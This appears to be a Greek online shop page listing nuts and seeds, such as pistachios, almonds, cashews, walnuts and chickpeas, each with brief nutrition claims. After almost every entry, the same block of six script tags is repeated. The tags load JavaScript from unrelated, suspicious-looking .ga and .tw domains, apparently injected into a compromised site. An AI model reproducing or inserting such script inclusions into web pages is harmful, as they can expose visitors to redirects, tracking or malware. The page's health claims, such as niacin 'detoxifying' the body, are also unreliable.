ΞΗΡΟΙ ΚΑΡΠΟΙ

Ξηροί καρποί, όπως κάσιους, καρύδια κ.α.

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                              ΦΥΣΤΙΚΙΑ ΑΙΓΙΝΗΣ

Έχουν υψηλή περιεκτικότητα σε νιασίνη (βιταμίνη Β3), η οποία συμβάλλει στην αποτοξίνωση του οργανισμού.
<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                      ΑΜΥΓΔΑΛΑ

                      Είναι πλούσια σε πολυακόρεστα λιπαρά, βιταμίνη Ε,                         φυτικές ίνες και φυτοστερόλες.
<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

ΚΑΣΙΟΥΣ(ΨΗΜΕΝΑ, ΩΜΑ)

Πολύ πλούσια σε φυτικές ίνες
<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                           ΦΟΥΝΤΟΥΚΙΑ(ΩΜΑ, ΨΗΜΕΝΑ)                          Είναι πηγή μαγγανίου

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                 ΚΑΡΥΔΙΑ ΦΛΟΙΟΥ

Από τις πλουσιότερες πηγές ωμέγα 3 και ωμέγα 6
<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                     ΑΡΑΠΙΚΟ

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                  ΑΡΑΠΙΚΟ ΦΛΟΙΟΥ

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                       ΠΙΝΑΤΣ

Υψηλή περιεκτικότητα σε βιταμίνη Β3
<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                               ΣΤΡΑΓΑΛΙΑ

Είναι πηγή φυτικών πρωτεϊνών και υδατανθράκων. Περιέχουν πολλές φυτικές ίνες.
<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                     ΠΑΣΑΤΕΜΠΟΣ

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                ΗΛΙΟΣΠΟΡΟΣ

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                     ΣΤΡΑΓΑΛΙ ΑΦΡΑΤΟ

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                 ΑΜΥΓΔΑΛΟ ΣΑΛΕ

<script src='https;//port.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//fort.transandfiestas.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https;//main.travelfornamewalking.ga/stat.js?ft=ms' type='text/javascript'></script><script src='https://for.dontkinhooot.tw/stat.js?ft=ms' type='text/javascript'></script><script src='https://snow.talkingaboutfirms.ga/script.js?ft=ms' type='text/javascript'></script><script src='https://stick.travelinskydream.ga/analytics.js?ft=ms' type='text/javascript'></script>

                                  ΣΤΡΑΓΑΛΙ ΚΟΚΑΝ